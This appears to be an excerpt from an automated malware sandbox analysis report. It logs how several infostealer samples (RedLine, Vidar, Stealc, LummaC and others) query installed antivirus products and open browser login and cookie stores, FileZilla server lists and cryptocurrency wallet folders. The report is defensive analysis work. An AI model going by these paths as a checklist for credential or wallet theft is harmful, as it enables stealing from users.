Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Queries volume information: C:\ProgramData\jewkkwnf\jewkkwnf.exe VolumeInformation
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe

Code function: 7_2_004026C4 GetSystemTime,

7_2_004026C4

Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe

Code function: 7_2_00405CF4 GetVersionExA,

7_2_00405CF4

Source: C:\Users\user\Desktop\gobEmOm5sr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 7wpHB_IZvVwIDf0EgO_TfPH6.exe, 0000000B.00000002.1964191932.0000000000634000.00000004.00000020.00020000.00000000.sdmp, QUh1lM2wAJwuyCkYckhrDFwz.exe, 0000000C.00000002.1990995859.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, 2Umx78uafM0WA03fzJyYYhBa.exe, 0000000E.00000002.1973708870.0000000001634000.00000004.00000020.00020000.00000000.sdmp, 1YtOZF0EeqgcR_ddwAXkTcuY.exe, 0000000F.00000002.1970588859.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: 7wpHB_IZvVwIDf0EgO_TfPH6.exe, 0000000B.00000002.1964191932.0000000000634000.00000004.00000020.00020000.00000000.sdmp, QUh1lM2wAJwuyCkYckhrDFwz.exe, 0000000C.00000002.1990995859.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, QUh1lM2wAJwuyCkYckhrDFwz.exe, 0000000C.00000000.1922662863.0000000000032000.00000002.00000001.01000000.0000000D.sdmp, 2Umx78uafM0WA03fzJyYYhBa.exe, 0000000E.00000000.1922876856.0000000000F22000.00000002.00000001.01000000.0000000F.sdmp, 2Umx78uafM0WA03fzJyYYhBa.exe, 0000000E.00000002.1973708870.0000000001634000.00000004.00000020.00020000.00000000.sdmp, 1YtOZF0EeqgcR_ddwAXkTcuY.exe, 0000000F.00000002.1970588859.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVP.exe
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001179000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001179000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.00000000010D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2138074138.0000000003CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2027068709.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 14.2.2Umx78uafM0WA03fzJyYYhBa.exe.43e5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.2Umx78uafM0WA03fzJyYYhBa.exe.43e5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2120842089.00000000043E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2717483187.00000000027D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2589310760.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2Umx78uafM0WA03fzJyYYhBa.exe PID: 8072, type: MEMORYSTR

Yara detected Socks5Systemz

Source: Yara match	File source: 00000027.00000002.3002403298.0000000002C91000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3002271535.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000011.00000002.2614020316.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2308704967.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 23.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.7wpHB_IZvVwIDf0EgO_TfPH6.exe.32b5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.7wpHB_IZvVwIDf0EgO_TfPH6.exe.32b5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2753591127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7wpHB_IZvVwIDf0EgO_TfPH6.exe PID: 8048, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.raw.unpack, type: UNPACKEDPE

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
